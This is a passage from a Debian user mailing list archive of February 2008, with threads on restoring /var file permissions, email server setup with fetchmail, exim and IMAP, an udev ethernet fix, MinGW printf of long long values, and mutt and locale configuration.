restoring the correct permissions for /var

2008-02-10 Thread Kamaraju S Kusumanchi
Can some one please tell me how to restore the correct permissions for
directories and files in /var? Basically I copied the /var partition of my
computer to a spare hard drive, repartitioned the disk and copied the /var
partition back. However, during the process, the file permissions were not
preserved (as I was not being careful about it). Now every file in /var has
permissions like 

drwxr-xr-t  4 root root  4096 2008-02-09 17:10 lock/
drwxr-xr-t  6 root root  4096 2008-02-10 03:03 tmp/

which does not make any sense. So I changed them using

chmod a+rwx /var/tmp /var/lock

But I don't know what the permissions of other files should be.

Also, when I log in into KDE as a user, it hangs up at "initializing system
services". This did not happen before. I am thinking this is somehow
related to the permissions of files in /var (since both the problems
occured after the /var transfer). Does anyone know the solution for this?

thanks
raju
-- 
Kamaraju S Kusumanchi
http://www.people.cornell.edu/pages/kk288/
http://malayamaarutham.blogspot.com/


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Measuring & optimizing broadband speed

2008-02-10 Thread Jochen Schulz
Zach:
>
> I am looking for accurate methods of measuring broadband speed,
> particularly for a 728 kbps / 128 kbps DSL line.

To monitor interface throughput, I often use nload. It shows an ASCII
graph and cur/max/avg bandwith usage.

> I want to see how close my real world throughput gets to the
> advertised bandwidth. Also what is the theoretical maximum and minimum
> ping (average return time) and lag (standard deviation of the ping)

This heavily depends on the connection to your house, I think.
Everything under 100ms is acceptable for me.

> for such a DSL line? Is there any sort of MTU, routing table or TCP/IP
> stack changes I can make (if so please explain how) to increase my
> latency, lag and packet loss? I use Debian lenny with a 2.6.18 kernel.
> Oh yes I will have a static IP address.

pppd should handle things like MTU and setting up routes. Latency and
packet loss are basically out of your control (until you have a gross
misconfiguration on your side).

J.
-- 
As a child I pulled the legs from a spider.
[Agree]   [Disagree]
 


signature.asc
Description: Digital signature


Re: Linux network security poll

2008-02-10 Thread Jochen Schulz
Zach:
>
> I need to get serious about security since I will be soon connected to
> the net almost 24x7 (barring a power outage etc.) so I was wondering
> if list members could explain their security setup (network
> configuration, DMZ, firewalls, IDS, logging, etc.).

I just have a router between the internet and my clients. It forwards
two or three ports to another machine (SSH, http, ...) and otherwise is
busy NATting. That's it.

> Also what would
> you recommend for someone like me who is still on an entry level in
> terms of my understanding of Linux and network security and what would
> recommend for later on down the road once I get more sophisticated?

The most important thing for you is to get a basic knowledge about
TCP/IP and the theory behind it (ISO/OSI model). If you have that, the
rest is just about picking the tool you want to use. It probably never
hurts to learn how to use iptables directly before you start using
frontends for it.


J.
-- 
In an ideal world I would cure poverty and go to the gym at least three
days a week.
[Agree]   [Disagree]
 


signature.asc
Description: Digital signature


flashplugin-nonfree for Debian stable

2008-02-10 Thread Bart Martens
Hello,

The package flashplugin-nonfree for Debian stable is now hosted at
backports.org.  I have updated http://wiki.debian.org/FlashPlayer
accordingly.

Future updates of flashplugin-nonfree for Debian stable will only be
published at backports.org.  The old package in Debian stable itself
will be removed soon.

I hereby invite users of flashplugin-nonfree on Debian stable to update
their systems now, to ensure a smooth transition.

Regards,

Bart Martens



signature.asc
Description: This is a digitally signed message part


Re: domain wide spam email address

2008-02-10 Thread Peter Teunissen

On 10-feb-2008, at 3:08, Alex Samad wrote:


Hi

I want to set up an email address where for my domain, were users  
can send spam

emails to and they will be added to the spam DB.

I use exim and spamassassin. All my spam processing gets done as user
spamassassin, so I thought I could just process all mails sent to  
spamassassin

as spam with a procmail rule like

#
# Record it as spam
:0 fw
| /usr/bin/sa-learn --spam


but then I realised how do I get it to ignore the senders address  
(because it

will be one of my addresses and I don't when then blacklisted ?)

in stead of using a mailaddress, I simply created a shared folder, so  
users can drag spam into it to have it processed. You'd probably need  
something like uwimap of cyrus to do that however. Since you don't  
mention a MDA, I guess you use something like maildir and I don't  
know how you're supposed to make shared mail folders then. Others may  
be of more help there.






HTH,


Peter

--
There are only 10 kinds of people in the world, those who understand  
ternary, those who don't, and those who mistake it for binary...



--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




Re: restoring the correct permissions for /var

2008-02-10 Thread Douglas A. Tutty
On Sun, Feb 10, 2008 at 03:13:51AM -0500, Kamaraju S Kusumanchi wrote:
> Can some one please tell me how to restore the correct permissions for
> directories and files in /var? Basically I copied the /var partition of my
> computer to a spare hard drive, repartitioned the disk and copied the /var
> partition back. However, during the process, the file permissions were not
> preserved (as I was not being careful about it). Now every file in /var has
> permissions like 
> 
> drwxr-xr-t  4 root root  4096 2008-02-09 17:10 lock/
> drwxr-xr-t  6 root root  4096 2008-02-10 03:03 tmp/
[snip]
> Does anyone know the solution for this?

Well, that's an oops.

I don't suppose you have another box with the same packages installed?
This is the problem.

I just did an:

[EMAIL PROTECTED]:/var$ ls -Rl| wc

and got

   550244187   305254

Which means there are 5502 files to which I have access (line count),
and if I email it to you, it will be 305254 bytes.

I can do it as root and email it to you (after I ensure that there's
no security issues in that).  However, then you're left fixing 5000
files or so.

You'd probably want to write a script.

Let me know.

Doug.


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Linux network security poll

2008-02-10 Thread Rick Dooling
> re security

http://www.debian-administration.org/articles/455

http://www.linuxsecurity.com/resource_files/host_security/securing-debian-howto/apA.en.htm

Play with firestarter. It will help you learn about iptables.

For more info google on securing debian; or if you want to really get
serious, hardening debian.

RD


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: restoring the correct permissions for /var

2008-02-10 Thread Tzafrir Cohen
On Sun, Feb 10, 2008 at 03:13:51AM -0500, Kamaraju S Kusumanchi wrote:
> Can some one please tell me how to restore the correct permissions for
> directories and files in /var? Basically I copied the /var partition of my
> computer to a spare hard drive, repartitioned the disk and copied the /var
> partition back. However, during the process, the file permissions were not
> preserved (as I was not being careful about it). Now every file in /var has
> permissions like 
> 
> drwxr-xr-t  4 root root  4096 2008-02-09 17:10 lock/
> drwxr-xr-t  6 root root  4096 2008-02-10 03:03 tmp/
> 
> which does not make any sense. So I changed them using
> 
> chmod a+rwx /var/tmp /var/lock
> 
> But I don't know what the permissions of other files should be.
> 
> Also, when I log in into KDE as a user, it hangs up at "initializing system
> services". This did not happen before. I am thinking this is somehow
> related to the permissions of files in /var (since both the problems
> occured after the /var transfer). Does anyone know the solution for this?

Maybe you can use rsync -a to restore the permissions? Provided you
didn't change anything in the target...

-- 
Tzafrir Cohen | [EMAIL PROTECTED] | VIM is
http://tzafrir.org.il || a Mutt's
[EMAIL PROTECTED] ||  best
ICQ# 16849754 || friend


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: restoring the correct permissions for /var

2008-02-10 Thread Kamaraju S Kusumanchi
Douglas A. Tutty wrote:


> [EMAIL PROTECTED]:/var$ ls -Rl| wc
> 
> and got
> 
>550244187   305254
> 
> Which means there are 5502 files to which I have access (line count),
> and if I email it to you, it will be 305254 bytes.

But I do not think permissions on all the files is a crucial thing. For
example, you might be having lot of packages under /var/cache/apt/archives/
which might explain that huge number. I am able to install and remove
packages. So the problem might not be with /var/cache/apt/archives
permissions.

I am more interested in the permissions of files which kde looks into.

thanks
raju

-- 
Kamaraju S Kusumanchi
http://www.people.cornell.edu/pages/kk288/
http://malayamaarutham.blogspot.com/


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Non-understood advice - was Re: dist-upgrade from sarge to etch - package

2008-02-10 Thread Florian Kulzer
On Sat, Feb 09, 2008 at 20:03:37 +, Felix Karpfen wrote:
> On Fri, 08 Feb 2008 18:40:09 -0800, Daniel Burrows wrote:
> > On Fri, Feb 08, 2008 at 08:54:02PM +, Felix Karpfen wrote:
> >
> >> I recollect running a command that identified non-Debian packages
> >> as part of the upgrade to Etch and *the command gave the expected
> >> output*. But, alas, I can no longer find what that command was.
> >
> > I'm now completely confused. The problem is just that you want to
> > find the command that you ran before? Am I understanding correctly?
> >
> >   Daniel
> 
> I was hoping that:
> 
> | aptitude search '~i!~Odebian'
> 
> was the command that I ran successfully as part of the upgrade from
> Sarge to Etch and had forgotten.
> 
> If it is the same command, it is now behaving quite differently.  I
> refrained from posting the output that it now produces because the
> output is lengthy and I wanted to conserve bandwidth.  But here are the
> first few lines of that output:
> 
> | i   a2ps - GNU a2ps - 'Anything to PostScript' conver
> | i A abiword-common   - WYSIWYG word processor based on GTK2  
> | i A abiword-gnome- WYSIWYG word processor based on GTK2/GNOME
> | i   abiword-help - online help for AbiWord   
> | i   adduser  - Add and remove users and groups   
> | i   afio - archive file manipulation program 
> | i A akregator- RSS feed aggregator for KDE   
> | i   alien- install non-native packages with dpkg 
> | i   alsa-base- ALSA driver configuration files   
> | i   alsa-oss - ALSA wrapper for OSS applications 
> | i   alsa-utils   - ALSA utilities

What do youe see when you run

apt-cache policy a2ps adduser alsa-base

?

-- 
Regards,| http://users.icfo.es/Florian.Kulzer
  Florian   |


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: restoring the correct permissions for /var

2008-02-10 Thread Douglas A. Tutty
On Sun, Feb 10, 2008 at 09:13:49AM -0500, Kamaraju S Kusumanchi wrote:
> Douglas A. Tutty wrote:
> > [EMAIL PROTECTED]:/var$ ls -Rl| wc
> > 
> > and got
> > 
> >550244187   305254
> > 
> > Which means there are 5502 files to which I have access (line count),
> > and if I email it to you, it will be 305254 bytes.
> 
> But I do not think permissions on all the files is a crucial thing. For
> example, you might be having lot of packages under /var/cache/apt/archives/
> which might explain that huge number. I am able to install and remove
> packages. So the problem might not be with /var/cache/apt/archives
> permissions.
> 
> I am more interested in the permissions of files which kde looks into.

I don't have anything in /var/cache/apt/archives.

I have not idea what kde looks into.  I use Konqueror but I don't have
KDE installed (I use icewm).

The only other choice which I can see is to run aptitude, select the
installed-packages meta-line, and tell aptitude to reinstall everything.
Since the system runs, it won't be down during the reinstall.

Doug.


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: alsaconf works, startup doesn't

2008-02-10 Thread Florian Kulzer
[ Please try to turn off the HTML part for messages to debian-user. ]

On Sat, Feb 09, 2008 at 21:36:45 -0500, Richard Izua wrote:
> Hi! I'm not exactly sure what I've done, since I've been instructed in
> #debian. But I've been advised to file a report. Anyway.
> My problem is that I can configure my C-MEDIA 8738 (8378?) sound card to
> work, but it won't stay like that after a restart.
>
> I have debian 4.0, Linux version 2.6.18-4-686 (Debian 2.6.18.dfsg.1-12)
> (waldi AT debian.org) (gcc version 4.1.2 20061115 (prerelease) (Debian 
> 4.1.1-21))
> #1 SMP Mon Mar 26 17:17:36 UTC 2007
> 
> I have a dual core pentium D at 2.8 Ghz, 1 gb of ram, ati x1300 radeon video
> card, 2 hard drives. i'm have installed debian for two days, so i can't
> really offer more.
> 
> here's what i've been advised to add.
> 
> izua:/home/izua/Desktop/Manowar# lsmod | grep cm
> snd_cmipci 33792 0
> gameport 14632 1 snd_cmipci
> snd_opl3_lib 11360 1 snd_cmipci
> snd_mpu401_uart 8192 1 snd_cmipci
> snd_pcm_oss 38432 0
> snd_mixer_oss 15648 1 snd_pcm_oss
> snd_pcm 67620 3 snd_cmipci,snd_hda_intel,snd_pcm_oss
> snd_timer 21252 3 snd_opl3_lib,snd_seq,snd_pcm
> snd_page_alloc 10216 2 snd_hda_intel,snd_pcm
> snd 51300 14

[...]

You also seem to have an Intel HDA-based soundcard/chipset, maybe
integrated into the motherboard. You have to make sure that the C-media
soundcard is chosen as the primary sound device (index 0) at boot time.
Please post the output of the following two commands (directly after a
reboot), so that we can check your configuration:

cat /proc/asound/cards

cat /etc/modprobe.d/sound

-- 
Regards,| http://users.icfo.es/Florian.Kulzer
  Florian   |


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Ethernet card does not work after Mother Board Change

2008-02-10 Thread Butch Kemper
At 09:25 PM 2/8/2008, you wrote:

Butch Kemper([EMAIL PROTECTED]) is reported to have said:
>
> I built a system using 4.0r2 net-install and have kernel 
2.6.18-5-k7 installed.

>
> The motherboard failed and the replacement board has a different type
> ethernet card.
>
> In the kern.log file, I can see the ethernet card is recognized and
> called eth0 but:
>
> The card is not connected to eth0 in ifconfig - there is no
> eth0.
>
> There is not an interrupt level in /proc/interrupts for the
> ethernet card.
>
> If I try an ifup eth0, I get an error about a non-existant
> device.
>
> I tried entering the driver name in /etc/modules but that does not help.
>
> I need some assistance on how to proceed to get the system to properly
> setup the ethernet card.
>

check the file
/etc/udev/rules.d/z25_persistent-net.rules

I suspect that there is now more then one eth0 entry.

ISTR that commenting out the old entry didn't work, so remove it and
reboot.

WT


Thank you.  The correction was as you suggested.  I deleted the file 
/etc/udev/rules.d/z25_persistent-net.rules and rebooted.  Everything 
started working.


Butch




Is this mingw bug?

2008-02-10 Thread Misko
I am trying to compile some program with mingw but I get some
strange behavior. The problem is with long long int numbers
and/or shift operator.

When I compile simple program (included bellow) with linux gcc
I get result that I expect:

$ ./big_num
sizoef(tick): 8
Big number: 4611686018427387904

If I compile it with i586-mingw32msvc-gcc this is what I get

$ wine big_num.exe
Sizoef(tick): 8
Big number: 0
Wine exited with a successful status

Anybody know what the problem can be?
Is it wingw, wine, or windows?
And how do I use long long int variables on windows platform?

#include 

int
main(int argc, char **argv)
{
long long int tick = 1;
printf("sizoef(tick): %d\n", sizeof(tick));
tick <<=  62;
printf("Big number: %lld\n", tick);

return 0;
}

Misko


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Bad E-mail setup in office. I need advice

2008-02-10 Thread Dawn Light
An inefficient E-mail setup in a small office needs to be replaced with a 
better solution. I ask for your wise advice.

In a landscape architecture office, there are several Windows XP workstations 
for the architects to do their design work with. One of those workstations has 
a common E-mail client installed which works with one E-mail account provided 
by the ISP. It receives from it using POP3 and sends to it using SMTP, as 
commonly done.

Some incoming messages are "adressed" to the office and some are "addressed" to 
the various architects ( There is only one E-mail address). Thus anyone who 
wishes to read his incoming messages and send messages needs to physically go 
and use the workstation with the mail client. This, if you haven't guessed 
already, it somewhat uncomfortable for daily work in the office.

The requirements are that all messages, inbox and sent, would be available to 
access from all of the workstations and that it would be possible to send 
messages from all workstations, also. This is still using the single account 
provided by the ISP.

I would appreciate it if I was described of a setup that should answer these 
requirements effieciently, including the protocols and software involved. I am 
willing to learn whatever skills required for this.

Any suggestions and comments about anything, including the phrasing of this 
message, are welcome and your help will be accepted with gratitude.

-- 
Dawn Light | שחר אור
E-mail: [EMAIL PROTECTED]
Phone number: +972 09 774 0646
ICQ UIN: 50866262
Windows Live ID (Formerly MSN): [EMAIL PROTECTED]



Can print from KPDF but not Acrobat

2008-02-10 Thread Peter Robinson
Hi all,

I don't seem to have set up printing correctly...I am running a testing 
system and can print fine from KPDF but attempting to print from Acrobat 
returns the error message:
"The print process returns an error. Please check if the printer is 
connected to the machine" (it is!).
I have seen that a few others had this problem on this list but was not 
able to find a solution. I am using Acrobat reader 8.1


Thanks, Peter


--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




Re: Gigabyte M61P-S3 and wild MAC address of ethernet interface

2008-02-10 Thread Florian Kulzer
On Sat, Feb 09, 2008 at 11:58:38 +0200, Tero Mäntyvaara wrote:
> Hi,
>
> I have got Debian 4.0r2 and Gigabyte M61P-S3 motherboard and I noticed  
> it has "dynamic" MAC address :-/
>
> I tried to fix the problem with the help of document  
> http://www.debian-administration.org/articles/501 but with no success.  
> The problem is that every time I boot my system Debian finds the new  
> ethernet interface and so I do not have internet connection.
>
> Has someone else had similar problem and so also sollution?

I am not familiar with this problem, so I cannot promise anything, but I
think it will help if you post some more information about your system.
Let's start with the output of the following commands:

lspci -nn | grep -i net

dmesg | egrep -i 'mac|eth'

/sbin/ifconfig

cat /etc/udev/rules.d/z25_persistent-net.rules

cat /etc/network/interfaces

-- 
Regards,| http://users.icfo.es/Florian.Kulzer
  Florian   |



Re: Bad E-mail setup in office. I need advice

2008-02-10 Thread Andrew Sackville-West
On Sun, Feb 10, 2008 at 05:35:21PM +0200, Dawn Light wrote:
...
> 

> In a landscape architecture office, there are several Windows XP
>  workstations for the architects to do their design work with. One of
>  those workstations has a common E-mail client installed which works
>  with one E-mail account provided by the ISP. It receives from it
>  using POP3 and sends to it using SMTP, as commonly done.

do you have a debian machine that you want to use for this purpose? Or
are you asking debian people for a solution to implement on a windows
platform?


> 
> Some incoming messages are "adressed" to the office and some are
>"addressed" to the various architects ( There is only one E-mail
>address). Thus anyone who wishes to read his incoming messages and
>send messages needs to physically go and use the workstation with the
>mail client. This, if you haven't guessed already, it somewhat
>uncomfortable for daily work in the office.

do you need to discriminate between the "office" mail and the
"architect" mail? If so, what factors identify the difference? 

> The requirements are that all messages, inbox and sent, would be
>  available to access from all of the workstations and that it would
>  be possible to send messages from all workstations, also. This is
>  still using the single account provided by the ISP. 

well this is really fairly simple. Use fetchmail or an equivalent to
get the mail from the ISP. It will feed mail to an MTA, likely exim4
using a smarthost setup (one of the main configuration methods
available through debconf) and allowing relay from the LAN, and then it can 
feed mail to various
mailboxes**. Finally a run an imap server to provide that mail to any
client on the LAN. Install IMAP-capable clients on all the XP
workstations and set them all to use that server as their outgoing
mail hosts and you should be done.

Looks something like this for inbound mail:

ISP servers -> fetchmail -> exim4 -> mailboxes** -> IMAP server (I
like dovecaot).

outbound:

workstation -> exim4 -> ISP smtp servers

** if there is a way to discriminate between mail for different
   people, then you could inject procmail or its equivalent between
   exim4 and mailboxes step to sort that mail appropriately.

A


signature.asc
Description: Digital signature


Re: What am I missing without mutt?

2008-02-10 Thread Michelle Konzack
Am 2008-02-06 15:26:55, schrieb Steve Lamb:
> Joe wrote:
> > So why are you doing it differently in Mutt than in TBird? Jut hit 't'
> > on each message you want deleted then use tag-prefix to delete them all
> >  ';' applies the next command to all tagged messages so you hit ';'
> >   then 'd'. Simple.
> 
> Where did I say *I* was not marking multiple messages and deleting them
> at once.  I quite clearly said *IT* will copy the first message, delete,
> then move to the second to copy, then delete, and so on.

Here is nothing moved.

If I have messages I am not interested in (mostly spam) I hit "d" and
then if I change the mailbox OR do a 4 the are immediatly erased
from the mailfolder.

And even if I activate the "TRASH" folder option, the files are moved
in one time and very fast.

Thanks, Greetings and nice Day
Michelle Konzack
Systemadministrator
Tamay Dogan Network
Debian GNU/Linux Consultant


-- 
Linux-User #280138 with the Linux Counter, http://counter.li.org/
# Debian GNU/Linux Consultant #
Michelle Konzack   Apt. 917  ICQ #328449886
   50, rue de Soultz MSN LinuxMichi
0033/6/6192519367100 Strasbourg/France   IRC #Debian (irc.icq.com)


signature.pgp
Description: Digital signature


Re: mailfilter (was Re: missing /var/mail)

2008-02-10 Thread Michelle Konzack
Am 2008-02-09 12:41:09, schrieb Chris Bannister:
> On Mon, Feb 04, 2008 at 03:34:01AM -0600, Ron Johnson wrote:
> > This is how it has to look when you drop email into Maildir:
> 
> Has to? 
> 
> > if ( /^Subject: \-\- Spam \-\-/ )
>   ^[1]
> > {
> > to "Maildir/.Spam"
> > }
> 
> The Directory is immaterial, I have mine in $HOME/Mail/

And if he is using Courier?  --  ${HOME}/Maildir would be the right one.

and of course, the path should be:  Maildir/.Spam/


> And since "Mail/IN-debian-user/" is a directory and not a file then I see
> "Mail/IN-debian-user/" rather than "Mail/IN-debian-user" being more
> correct.

Right.

> > if ( /^X-Mailing-List:.**/ )
>  ^[2]   

Right, it should be escaped...

> 
> > {
> > to "Maildir/.Lists.Debian.User.2008q1"
>   ^
>Is that a nested directory structure, or one directory?

This is the courier directory structure.

Thanks, Greetings and nice Day
Michelle Konzack
Systemadministrator
Tamay Dogan Network
Debian GNU/Linux Consultant


-- 
Linux-User #280138 with the Linux Counter, http://counter.li.org/
# Debian GNU/Linux Consultant #
Michelle Konzack   Apt. 917  ICQ #328449886
   50, rue de Soultz MSN LinuxMichi
0033/6/6192519367100 Strasbourg/France   IRC #Debian (irc.icq.com)


signature.pgp
Description: Digital signature


Re: What am I missing without mutt?

2008-02-10 Thread Michelle Konzack
Am 2008-02-07 19:40:49, schrieb Dotan Cohen:
> Could be. I'd like to hear from Arabic users how console scripts are
> handled? On my machine Hebrew is reversed in the console. If someone
> could enlighten me as to how to install new locales (I've googled and
> cannot figure it out) then I'll try it and report back.

dpkg-reconfigure locales

Thanks, Greetings and nice Day
Michelle Konzack
Systemadministrator
Tamay Dogan Network
Debian GNU/Linux Consultant


-- 
Linux-User #280138 with the Linux Counter, http://counter.li.org/
# Debian GNU/Linux Consultant #
Michelle Konzack   Apt. 917  ICQ #328449886
   50, rue de Soultz MSN LinuxMichi
0033/6/6192519367100 Strasbourg/France   IRC #Debian (irc.icq.com)


signature.pgp
Description: Digital signature


Re: wrapper script issue

2008-02-10 Thread Michelle Konzack
Am 2008-02-08 13:58:57, schrieb Ken Irving:
> It sounds bizarre to me.  I think you mentioned following some directions
> somwehere, so maybe you missed something?  I don't have 
> /etc/alternatives/ruby1.8
> on my system; what does it point to?  It's probably a symlink, or maybe a 
> chain
> of several, and it wouldn't suprise me if it pointed back to /usr/bin/ruby1.8.

Normaly the executables are in

/usr/bin/ruby1.7
/usr/bin/ruby1.8
/usr/bin/rubyX.X

and then you have a symlink in

/etc/alternatives/ruby

which point to one of then executables in /usr/bin.
And last not least you have a symling from

/usr/bin/ruby -> /etc/alternatives/ruby

which mean, you can call your ruby-script with the shebang

#!/usr/bin/ruby

and it choose the default ruby executable from "alternatives" or

#!/usr/bin/rubyX.X

with the explicit version.

Thanks, Greetings and nice Day
Michelle Konzack
Systemadministrator
Tamay Dogan Network
Debian GNU/Linux Consultant


-- 
Linux-User #280138 with the Linux Counter, http://counter.li.org/
# Debian GNU/Linux Consultant #
Michelle Konzack   Apt. 917  ICQ #328449886
   50, rue de Soultz MSN LinuxMichi
0033/6/6192519367100 Strasbourg/France   IRC #Debian (irc.icq.com)


signature.pgp
Description: Digital signature


Re: What am I missing without mutt?

2008-02-10 Thread Michelle Konzack
Am 2008-02-06 12:28:57, schrieb Steve Lamb:
> The main problem that I saw is that on delete operations it does
> something that is insanely slower than TBird.  For example, on TBird I
> can mark 25 messages as deleted, hit delete, and within about a second
> they are in the trash folder.

This is, because TB does not delete the messages but mark them in the
TOC files which is 10 times faster.  And AFAIF if you leave the folder,
it copies the files to the trash.  And even now, the deleted files are
not deleted and the folder compressed, which is done automaticaly by
mutt be default.  So on reopening the folder, it does not need to look
at messages which are already deleted to skip them.

> Now extend that to maintaining a high volume list like Debian where one
> has 300 or so messages a day.  300 messages is 2.5 minutes of sitting
> idle.  TBird would complete that oepration in, at most, 4-5 seconds.  I
> dread to think what it would be like when I go on my monthly Exim user
> list purges of 2-3 thousand messages at once.

Deleting 8000 messages (LKM) in TB takes arround 3 1/2 minutes, in mutt
only 30 seconds.

  ~R
  ;d
  4

and then they are gone.

> I don't know what TBird is doing differently than mutt but it is
> painfully slow and utterly unusable.

Since I am on over 120 mailinglists (incl. 76 debian) TB can not handel
this traffic and the amount of messages (arround 7.98 million) which
mutt handels nicely as MAILDIR.

Thanks, Greetings and nice Day
Michelle Konzack
Systemadministrator
Tamay Dogan Network
Debian GNU/Linux Consultant


-- 
Linux-User #280138 with the Linux Counter, http://counter.li.org/
# Debian GNU/Linux Consultant #
Michelle Konzack   Apt. 917  ICQ #328449886
   50, rue de Soultz MSN LinuxMichi
0033/6/6192519367100 Strasbourg/France   IRC #Debian (irc.icq.com)


signature.pgp
Description: Digital signature


(no subject)

2008-02-10 Thread Paul Dransfield
This installation cuts out my CPU fan, therefore the installation cannot 
complete


/Paul


--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




Re: Ethernet card does not work after Mother Board Change

2008-02-10 Thread Wayne Topa
Butch Kemper([EMAIL PROTECTED]) is reported to have said:
> At 09:25 PM 2/8/2008, you wrote:
>> Butch Kemper([EMAIL PROTECTED]) is reported to have said:
<>

>> >
>> > I need some assistance on how to proceed to get the system to properly
>> > setup the ethernet card.
>> >
>>
>> check the file
>> /etc/udev/rules.d/z25_persistent-net.rules
>>
>> I suspect that there is now more then one eth0 entry.
>>
>> ISTR that commenting out the old entry didn't work, so remove it and
>> reboot.
>>
>> WT
>
> Thank you.  The correction was as you suggested.  I deleted the file  
> /etc/udev/rules.d/z25_persistent-net.rules and rebooted.  Everything  
> started working.

Good!  Thank you for the report of the solution.  Now others can find
your reply and learn from it!

Best Regards

Wayne

-- 
You don't have to know how the computer works, just how to work the
computer.
___


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Is this mingw bug?

2008-02-10 Thread Sven Joachim
On 2008-02-10 15:57 +0100, Misko wrote:

> I am trying to compile some program with mingw but I get some
> strange behavior. The problem is with long long int numbers
> and/or shift operator.
>
> When I compile simple program (included bellow) with linux gcc
> I get result that I expect:
>
> $ ./big_num
> sizoef(tick): 8
> Big number: 4611686018427387904
>
> If I compile it with i586-mingw32msvc-gcc this is what I get
>
> $ wine big_num.exe
> Sizoef(tick): 8
> Big number: 0
> Wine exited with a successful status
>
> Anybody know what the problem can be?
> Is it wingw, wine, or windows?

It is MinGW's printf implementation that is different.  The first
Google hit searching for "mingw long long" shows that:

http://www.mingw.org/MinGWiki/index.php/long%20long

> And how do I use long long int variables on windows platform?

Just as on GNU/Linux, only the format specifier in *printf() is
different.

> #include 
>
> int
> main(int argc, char **argv)
> {
> long long int tick = 1;
> printf("sizoef(tick): %d\n", sizeof(tick));
> tick <<=  62;
> printf("Big number: %lld\n", tick);
  
   In MinGW, you need %I64d instead.
>
> return 0;
> }

Sven


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



GNOME faint printing problem.

2008-02-10 Thread Matt Gracie
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

I'm running Debian sid on an ia32 computer, with everything up to date,
and printing via CUPS to an HP Laserjet 4m. When I print from GNOME
applications, like evince or epiphany, the output is too faint to read.
But if I print the same document or web page from xpdf or iceweasel, it
prints normally.

This leads me to believe that the issue is something in the GNOME
environment, but as a recent convert from Windowmaker, I'm not that
familiar with the byzantine underpinnings of a modern desktop
environment. Also, I didn't see anything recent about this problem in
the bug tracker. Is this a known issue? Is there some simple setting
that I'm missing?

Thanks for any help,

- --Matt
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFHry0n6wBqCH7pnjIRAqCJAKDEyaG8KKiigb929IvXHLdM5TOpqwCgws1s
4cPSBs3avbyYBewDpEoP2Ss=
=/BQg
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: What am I missing without mutt?

2008-02-10 Thread Michelle Konzack
Am 2008-02-08 15:13:38, schrieb Dotan Cohen:
> [EMAIL PROTECTED]:~$ sudo dpkg-reconfigure locales
> Generating locales...
>   en_AU.UTF-8... done
>   en_BW.UTF-8... done
>   en_CA.UTF-8... done
>   en_DK.UTF-8... done
>   en_GB.UTF-8... done
>   en_HK.UTF-8... done
>   en_IE.UTF-8... done
>   en_IN.UTF-8... done
>   en_NZ.UTF-8... done
>   en_PH.UTF-8... done
>   en_SG.UTF-8... done
>   en_US.UTF-8... done
>   en_ZA.UTF-8... done
>   en_ZW.UTF-8... done
>   he_IL.UTF-8... up-to-date
> Generation complete.
> [EMAIL PROTECTED]:~$

Do you have used "locale-purge"?  Then all other locales are removed and
you have to reinstall locales with

apt-get --reinstall locales

But before you should assure, that

dpkg-reconfigure debhelper

is set at least to "normal" or if you want to control more to "low".

Thanks, Greetings and nice Day
Michelle Konzack
Systemadministrator
Tamay Dogan Network
Debian GNU/Linux Consultant


-- 
Linux-User #280138 with the Linux Counter, http://counter.li.org/
# Debian GNU/Linux Consultant #
Michelle Konzack   Apt. 917  ICQ #328449886
   50, rue de Soultz MSN LinuxMichi
0033/6/6192519367100 Strasbourg/France   IRC #Debian (irc.icq.com)


signature.pgp
Description: Digital signature


Re: What am I missing without mutt?

2008-02-10 Thread Michelle Konzack
Am 2008-02-07 08:20:53, schrieb Ron Johnson:
> On 02/07/08 07:29, Dotan Cohen wrote:
> > There are still the same amount
> > of letters, in fact, when typing Arabic one does not pay attention to
> > the way the letters flow into one another.  The OS does that part
> > automatically assuming that a supportive font is installed.
> 
> Interesting.  But it seems to make console apps difficult.

If the console app is using "libfribidi" (as I use it) and the right
console font is installed then you can read farsi (my mother language)
arabic and hebrew in mutt and of cource from Right-To-Left (RTL).

> > Hebrew, on
> > the other hand, has final letters that are used only on the end of
> > words, like capital letters in English at the beginning of sentences.
> > And like English capitals, the user must specify that [s]he wants a
> > final letter with the appropriate key. Being how there are only five
> > of those (in addition to 22 regular Hebrew letters) the alphabet the
> > becomes 27 letters: only one more than English.

And farsi has 4 letters more then arabic (24=>28)

> Also interesting.

:-)

> What about the "dots".  Is that just a figment of misunderstanding?

The dots are brain-crackers...
(I trying to learn hebrew...  since 10 years!)

